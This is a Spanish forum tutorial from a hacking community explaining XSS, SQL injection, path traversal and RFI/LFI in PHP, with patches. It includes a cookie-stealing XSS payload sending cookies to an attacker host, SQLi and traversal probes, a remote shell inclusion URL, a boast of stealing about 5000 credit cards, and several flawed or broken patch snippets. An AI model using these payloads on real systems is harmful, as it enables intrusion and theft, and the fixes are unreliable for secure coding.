comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Seguridad y Proteccion a nivel web. [Version I] [Explicado]

  • 2 Respuestas
  • 1008 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Xt3mP

  • *
  • Underc0der
  • Mensajes: 432
  • Actividad:
    0%
  • Reputación 0
  • Ellos me están buscando, pero yo los encontraré.
    • MSN Messenger - Xt3mP@h4x0rz.us
    • AOL Instant Messenger - Xt3mP@h4x0rz.us
    • Yahoo Instant Messenger - Xt3mP@h4x0rz.us
    • Ver Perfil
    • Xt3mP
« en: Enero 27, 2011, 09:21:35 am »
Proteccion y seguridad a nivel web, version 1.

Punto es: explicar "PORQUE" existe o se puede llevar a cabo la vulnerabilidad y una vez explicada, explicar como parcharla.

Cabe mencionar que no explicare ni dire todas las vulnerabilidades a nivel web por tres razones:

1- Falta de tiempo.
2- No puedo hacer un post demasiado largo, perderia el toque, en proximas versiones tal vez explique otras.
3- Al aprender el porque y como parchar unas cuantas, estoy seguro que cuando encuentren otra en su sitio web sabran parcharla.

Por lo que solo explicare las mas "comunes/tipicas".
------------------------------------------------------------
XSS/HTML Injection
------------------------------------------------------------
XSS (Cross Site Scripting), se le denomina XSS para no confundir con las hojas de estilo (CSS), la vulnerabilidad se explota mediante la inyeccion de codigo "script/scripting" en alguna variable tanto POST como GET.

HTML Injection (Inyeccion HTML), la vulnerabilidad se explota mediante la inyeccion de codigo (principalmente HTML) en alguna variable tanto POST como GET.

¿Que tienen de diferencia? Que XSS hace correr script (Ej: <script>alert('XSS');</script>) y por otro lado, HTML Injection hace correr tags literalmente (Ej: <marquee>HTMLi</marquee>, <table></table>, <iframe></iframe>, etc).

Puse las dos juntas en el mismo subtitulo ya que la forma en que se pueden parchar se pueden utilizar para las dos. Tomare de ejemplo el siguiente "buscador":

Código: PHP
  1. <?php
  2. $buscar = $_GET['buscar'];
  3. echo "La busqueda de: ".$buscar." no encontro ningun resultado";
  4. /*
  5. En donde si ponemos tanto script como tags se ejecutaria en la misma pagina
  6. */
  7. ?>
  8.  

Entonces, ¿Como se parcharian estos tags? PHP te brinda 3 funciones escenciales, las cuales son strip_tags(), y htmlentities().
strip_tags() = Elimina las etiquetas de los tags (<h1>test</h1> = test);
htmlentities() = Obtiene los tags de la inyeccion y evita que se ejecute. (<h1>test</h1> = <h1>test</h1>);

Pueden utilizar cualquiera
 
Podemos hacerlo directamente:
Código: PHP
  1. <?php
  2. $buscar = You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login($_GET['buscar']));
  3. echo "La busqueda de: ".$buscar." no encontro ningun resultado";
  4. /*
  5. En donde si ponemos <h1>Vulnerable</h1> votaria exactamente:
  6. La busqueda de: <h1>Vulnerable</h1> no encontro ningun resultado
  7.  
  8. En donde si ponemos <table border="0"> votaria exactamente:
  9. La busqueda de: <table border="0"> no encontro ningun resultado
  10. Como se puede apreciar ya no se ejecutaron los tags.
  11. ?>
  12.  

Generalmente se utiliza una inyeccion HTML solo para fastidiar al programador, por otro lado, con XSS se pueden hacer cosas interesantes como el robo de cookies, la verdad no pretendo enseñarles a como llevar acabo una vulnerabilidad si no como parcharla, asi que les dare solo un breve ejemplo de un robo de cookies:

Nota: No explicare mediante codigo esta vulnerabilidad ya que no se trata de "incitarlos" a que lo hagan, si no a parcharlo.

Un robo de cookies mediante XSS se caracteriza (su nombre lo dice todo) por "inyectar" en la vulnerabilidad mediante script un codigo que al ser enviado (en este caso a un supuesto administrador) y dar click en el enlace, automaticamente se envia un correo (esto depende de la pagina atacante) con la cookie del Administrador, posteriormente con algun editor de cabezeras (el mejor para mi es Tamper DATA) se cambia la cookie de sesion nuestra por la que obtuvimos por el administrador y listo, sesion de Administrador robada:

Citar
You are not allowed to view links. Register or Login<script>window.location=?http://webatacante.com/php.php?cookie=? document.cookie</script>

Ya solo es cuestion de agarrar la variable "cookie" en este caso y guardarla (tanto en .txt como correo), solo seria cuestion de disfrazar y meterle ingenieria social, y para parcharlo con las funciones de arriba se lleva acabo.
Es algo interesante este par de vulnerabilidades ya que sabiendo utilizarlas se puede hacer algo de daño, asi que si son vulnerables, es hora de que lo dejen de ser.
------------------------------------------------------------
SQL Injection
------------------------------------------------------------
SQL Injection [Inyeccion SQL (Structured Query Language)], se caracteriza por no filtrar la peticion a la base de datos conllevando con esta, un error en la implementacion del valor a "pedir" y asi exponiendo el codigo, es decir, que gracias a una mala estructuracion/programacion del codigo para hacer una peticion (no filtrar las variables) se puede explotar dejando asi toda la base de datos a la vista del atacante.

Aqui entra algo de polemica, la mayoria solo cree que una inyeccion SQL siempre sera: -1 SELECT UNION 1,2--, pero no, existen muchos tipos de inyecciones SQL pero en este caso indicaremos como parchar la "tipica".

Un ejemplo de una mala estructuracion es (es parecida al error de la vulnerabilidad XSS/HTMLi), suponiendo que el link seria web.com/noticia_id.php?id=':
Código: PHP
  1. <?php
  2. include("connect.php"); //Conexion a la base de datos
  3. $id = $_GET['id']; //Obtenemos el ID
  4. $query = You are not allowed to view links. Register or Login("SELECT * FROM noticias WHERE id=".$id." "); //Hacemos la peticion
  5. /*
  6. web.com/noticia_id.php?id=-1 pediria la peticion como:
  7. $query = mysql_query("SELECT * FROM noticias WHERE id=' ")
  8. Y mostraria un error como este:
  9. You have an error in your SQL syntax; check the manual that corresponds toyour MySQL server version for the right syntax to use near '' at line 1
  10. */
  11. ?>
  12.  

Daria error, entonces al intentar acceder como (-1 UNION SELECT 1) daria:
Citar
The used SELECT statements have a different number of columns

Entonces asi podemos ir explotando la vulnerabilidad hasta obtener datios valiosos (en una experiencia personal, logre obtener cerca de 5000 tarjetas de credito).

Viene lo agradable ¿Como parcharla? como se han dado cuenta, se lleva acabo por una mala peticion en el codigo, entonces asi como PHP nos brinda funciones para filtrar, SQL tiene una por su lado que es mysql_escape_string() que con este filtraremos el GET, tambien podemos comprobar que exista la noticia antes de mostrarse, este seria el codigo:

Código: PHP
  1. <?php
  2. include("connect.php"); //Conexion a la base de datos
  3. $id = You are not allowed to view links. Register or Login($_GET['id']); //Obtenemos el ID
  4.  
  5. if (You are not allowed to view links. Register or Login($id)){ //Comprobamos que sea numerico
  6.  
  7. $query = You are not allowed to view links. Register or Login("SELECT * FROM noticias WHERE id=".You are not allowed to view links. Register or Login($id)." "); //Hacemos la peticion
  8.  
  9. if ($row = You are not allowed to view links. Register or Login($query)){ //Comprobamos que exista
  10. echo "Noticia: ".$row['titulo']."<br />";
  11. }else{
  12. echo "La noticia no existe";
  13. }
  14. }else{
  15. echo "La noticia no existe";
  16. }
  17. ?>
  18.  

¿Que hacemos? Incluimos la conexion a la base de datos, obtenemos el ID por GET y lo filtramos, comprobamos si es numerico el ID, hacemos la peticion filtrada con mysql_escape_string(), comprobamos que exista la noticia, por otro lado, si no es numerico y no existe la noticia te marcara un error (echo...).
Asi de sencillo parchamos (mejor dicho, hacemos menos posible la vulnerabilidad) SQL Injection.
------------------------------------------------------------
Full Path Disclosure
------------------------------------------------------------
Esta vulnerabilidad en lo personal me agrada, ¿Por? Porque por un pequeño error en el codigo te muestra el "Full Path", es decir, con un error que nos tire te muestra todos los paths por donde pasa el script, generalmente sucede en descargas ya que no filtramos muy bien la ruta de los archivos y dejamos al descubierto todos los directorios, por ejemplo:

Suponiendo que nuestra pagina tiene un link para descargar los archivos que nosotros indiquemos, algo como:
You are not allowed to view links. Register or Login

Entonces como vemos hace un "query" practicamente al archivo a descargar, pero que sucede si nosotros recorremos el path con los comandos que tal vez conozcas (.. , ., etc) para recorrer o avanzar directorios, quedaria algo asi:

You are not allowed to view links. Register or Login

Citar
Warning: fopen(testing) [function.fopen]: failed to open stream: No such file or directory in
/var/www/name/html/descargar.php on line 5

Y como vemos, en este caso es "/var/www/name/html/admin/", cuando una web es vulnerable, el atacante comunmente busca el archivo /etc/passwd por default, entonces la url quedaria:

You are not allowed to view links. Register or Login

En donde cada ../ es una carpeta anterior, todo depende de donde este situado esta vulnerabilidad, te preguntaras, ¿Pero en que nos afecta?
En que si nosotros ingresamos por (suponiendo que tengamos una carpeta llamada admin):

You are not allowed to view links. Register or Login

Se nos descargaria el "Script" completo del admin y seria cuestion de ir jugando con los archivos para ver que otras vulnerabilidades tienen.

¿Como parchar? Para wordpress existe (este codigo no es mio, pero esta muy conocido en la red):

Citar
if(function_exists('add_action')){
[...]
}

Y por mi parte las recomendaciones serian:

1.- Evitar mostrar el error en pantalla, tanto modificando el php.ini como editando todo archivo para que no muestre error, o bien agregando error_reporting(0);
2.- Si haran descarga de archivos "web.com/descargar.php?file=" seria preferible que mejor pongan:
2.1- Descargas directas: web.com/files/archivo_a_descargar.rar"
2.2- Hacer un array o switch para cada "case" y no poner directamente el nombre (archivo.php) si no alguna abreviacion como
web.com/descargar.php?file=videos_anio_nuevo y ya con un "file_exists()" comprobamos la existencia del archivo.
3.- Si bien deciden dejar el script asi, pueden implementar un codigo mas o menos de esta manera para fijar el directorio en una carpeta en especifico y comprobar la existencia de este, claro esta, tambien sustituimos los caracteres (".","/") que son los usuales en estos casos:

Código: PHP
  1. <?php
  2. $file = You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login('.','/'),'',$_GET['file']);
  3. $file = "./".$file; //Indicamos con el ./ que el fichero debe encontrarse en el mismo directorio.
  4. if (!You are not allowed to view links. Register or Login($file)){
  5. echo "No intentes bugear";
  6. }else{
  7. You are not allowed to view links. Register or Login("Content-type: application/octet-stream");
  8. You are not allowed to view links. Register or Login("Content-Disposition: attachment; filename="$file"n");
  9. $filepath=You are not allowed to view links. Register or Login("$file", "r");
  10. You are not allowed to view links. Register or Login($filepath);
  11. }
  12. ?>
  13.  
------------------------------------------------------------
RFI/LFI
------------------------------------------------------------
RFI (Remote File Inclusion), consiste en como su nombre lo dice, incluir archivos remotamente en el servidor.
LFI (Local File Inclusion), consiste en como su nombre lo dice, incluir archivos localmente en el servidor.

Estas vulnerabilidades antes eran muy tipica, pero conforme PHP fue avanzando de version fueron "mas dificiles" encontrarnos con una.
Lo explicare brevemente ya que es parecido lo mismo que Full Path Disclosure.

Para RFI:
Suponiendo que tenemos una pagina llamada web.com/noticia.php?path=noticia_12.php y tenemos un codigo parecido a este:
Código: PHP
  1. <?php
  2. $file = $_GET['path'];
  3. include ($path);
  4. ?>
  5.  

Como se observa, incluimos directamente el GET sin filtrarlo ni comprobar que exista, entonces ¿Por que les puede perjudicar?
Si yo en su pagina hago web.com/noticia.php?path=http://miweb.com/miscodigos/shell.php ¿Que pasaria? Se incluiria en su pagina mi script malicioso y tendria acceso a todo su servidor/hosting ocasionando que yo pueda malusa resta vulnerabilidad y destrozarles su pagina (cosa que nunca hago).

Para LFI:
Suponiendo que tenemos la misma pagina, pero ahora si filtramos el archivo y comprobamos que exista de esta manera:
Código: PHP
  1. <?php
  2. $file = $_GET['path'];
  3. if (You are not allowed to view links. Register or Login($file)){
  4. include ($path);
  5. }else{
  6. echo "No intentes buggear";
  7. }
  8. ?>
  9.  

Aqui pasariamos de nuevo con el Full Path Disclosure, comenzamos a "navegar" con "../" , "./" hasta encontrar algun archivo vulnerable y comenzar a atacar.

¿Como parcharlo?
Esta manera que explicare sera para las dos vulnerabilidades:
Código: PHP
  1. <?php
  2. $file = You are not allowed to view links. Register or Login('/','',$_GET['path']);
  3. $file = "./".$file;
  4. if (You are not allowed to view links. Register or Login($file)){
  5. include ($path);
  6. }else{
  7. echo "No intentes buggear";
  8. }
  9. ?>
  10.  

Como se observa, se utiliza "casi" la misma manera de parchar el Full Path Disclosure, solo es cuestion de que analizen su codigo linea por linea.
------------------------------------------------------------
Tips
------------------------------------------------------------
Les dare un par de tips para hacer segura su web que en lo personal me han servido de mucho:
1.- Si se trata de sesiones, comprobar en "cada pagina" que solo usuarios autorizados puedan acceder.
2.- Filtrar todas y cada una de las variables.
3.- Generar "errores" marcados por nosotros, por ejemplo:

Código: PHP
  1. <?php
  2. $error = You are not allowed to view links. Register or Login('Error de existencia', 'Error numerico');
  3. if (You are not allowed to view links. Register or Login($archivo)){
  4. //Todo el codigo
  5. }else{
  6. $file = You are not allowed to view links. Register or Login("error.txt", 'a '); //Permisos de escritura y lectura con a
  7. You are not allowed to view links. Register or Login($file, '
  8. Error: '.$error[0].' a las: '.You are not allowed to view links. Register or Login('r').' de la IP: '.$_SERVER[REMOTE_ADDR].'n');
  9. You are not allowed to view links. Register or Login($file);
  10. }
  11.  
  12. if (You are not allowed to view links. Register or Login($id)){
  13. // Todo el codigo
  14. }else{
  15. $file = You are not allowed to view links. Register or Login("error.txt", 'a '); //Permisos de escritura y lectura con a
  16. You are not allowed to view links. Register or Login($file, '
  17. Error: '.$error[1].' a las: '.You are not allowed to view links. Register or Login('r').' de la IP: '.$_SERVER[REMOTE_ADDR].'n');
  18. You are not allowed to view links. Register or Login($file)
  19. }
  20. ?>
  21.  

4.- Evitar mostrar errores en pantalla mediante "@" ejemplo:

Código: PHP
  1. <?php
  2. $file = @You are not allowed to view links. Register or Login('index.php','a ');
  3. @You are not allowed to view links. Register or Login($file, 'Xt3mP');
  4. @You are not allowed to view links. Register or Login($file);
  5. ?>
  6.  

5.- Entre otros
------------------------------------------------------------
Espero que este manual les haya aclarado muchas dudas, y para los que digan que ya existen otros noten la diferente entre "Como hacerlo/Parcharlo" y "Porque sucede eso".
P.D: En la proxima version hablare sobre otras vulnerabilidades, entre ellas asp injection.
P.D.2: Si se me paso algo o escribe algo mal fue porque lo escribo continuamente sin descansar y a veces se confunde uno.
Saludos.
------------------------------------------------------------
Cada vez que me das Karma me motivas

Desconectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5339
  • Actividad:
    18.33%
  • Reputación 30
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« Respuesta #1 en: Enero 27, 2011, 10:54:42 am »
Esto me viene de 10!
Se ve muy bueno!


Desconectado Xt3mP

  • *
  • Underc0der
  • Mensajes: 432
  • Actividad:
    0%
  • Reputación 0
  • Ellos me están buscando, pero yo los encontraré.
    • MSN Messenger - Xt3mP@h4x0rz.us
    • AOL Instant Messenger - Xt3mP@h4x0rz.us
    • Yahoo Instant Messenger - Xt3mP@h4x0rz.us
    • Ver Perfil
    • Xt3mP
« Respuesta #2 en: Enero 27, 2011, 11:32:04 am »
Espero te sirva y lo leas completo.
Cada vez que me das Karma me motivas

 

¿Te gustó el post? COMPARTILO!



[Parte 1] Seguridad en PHP

Iniciado por arthusu

Respuestas: 6
Vistas: 1650
Último mensaje Marzo 04, 2014, 02:42:44 am
por arthusu
Seguridad en PHP

Iniciado por DeuSer

Respuestas: 2
Vistas: 1281
Último mensaje Mayo 03, 2010, 12:12:33 pm
por Pa531no5
[PHP Shell] Poison Shell 1.0 (Version Identada)

Iniciado por ANTRAX

Respuestas: 0
Vistas: 1360
Último mensaje Enero 01, 2013, 10:16:18 pm
por ANTRAX
[Shell] AK-74 Security Team Web Shell Beta Version!

Iniciado por Mayk0

Respuestas: 0
Vistas: 1250
Último mensaje Abril 27, 2013, 10:11:08 am
por Mayk0
IBOT V1.3 nueva versión! BOT IRC

Iniciado por alexander1712

Respuestas: 3
Vistas: 1307
Último mensaje Noviembre 24, 2013, 11:57:56 pm
por AΞRCRΞA